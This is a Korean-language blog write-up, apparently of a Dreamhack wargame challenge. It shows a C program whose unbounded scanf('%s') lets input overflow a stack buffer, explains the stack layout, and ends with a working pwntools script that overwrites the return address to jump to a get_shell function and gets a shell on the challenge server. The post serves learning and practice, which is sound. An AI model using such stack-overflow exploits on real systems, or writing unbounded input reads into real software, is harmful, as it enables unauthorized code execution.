혜랑's STORY

[System Hacking STAGE 4] Return Address Overwrite 본문

무지성 공부방/Dreamhack SystemHacking

[System Hacking STAGE 4] Return Address Overwrite

hyerang0125 2022. 1. 26. 16:45

문제 파일을 다운 받고, c 파일을 열어 취약점을 찾아 보았다.

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}
  • scanf("%s", buf) 사용; 문자열을 입력받을 때 입력의 길이를 제한하지 않아 취약점이 발생한다.

일단 바이너리 파일을 실행하여 'A'를 5개 입력해보았다.

정상적으로 종료된다. 이번엔 엄청 많이 입력해보자.

디스어셈블된 코드와 스택을 관찰해보니 프로그램이 main 함수에서 반환하려고 하는데 스택 최상단에 저장된 값이 입력값의 일부인 0x4141414141414141 ('AAAAAAAA') 라는 것을 알 수 있다. 이는 실행 가능한 메모리의 주소가 아니므로 세그먼테이션 폴트가 발생하고 위 값의 위치에 원하는 코드 주소가 되도록 적절한 입력을 주면 원하는대로 실행을 조작할 수 있다.

디스어셈블된 코드를 보고 의사코드로 표현해 보았다.

scanf("%s", (rbp-0x30));

즉, 오버플로우를 발생시킬 버퍼는 rbp-0x30에 위치하고, 스택 프레임의 구조를 떠올려 보면 rbp에 스택 프레임 포인터(SFP)가 저장되기 때문에 rbp+0x8에는 반환 주소가 저장된다. 이를 바탕으로 페이로드를 작성해보자.

get_shell() 함수의 주소

익스플로잇 코드
from pwn import *

p = remote('host1.dreamhack.games', '9760')

get_shell = 0x4006aa

payload = 'A' * 0x30
payload += 'B' * 0x8
payload += '\xaa\x06\x40\x00\x00\x00\x00\x00'

p.recvuntil('Input: ')

p.sendline(payload)

p.interactive()

성공적으로 셸을 획득하였다.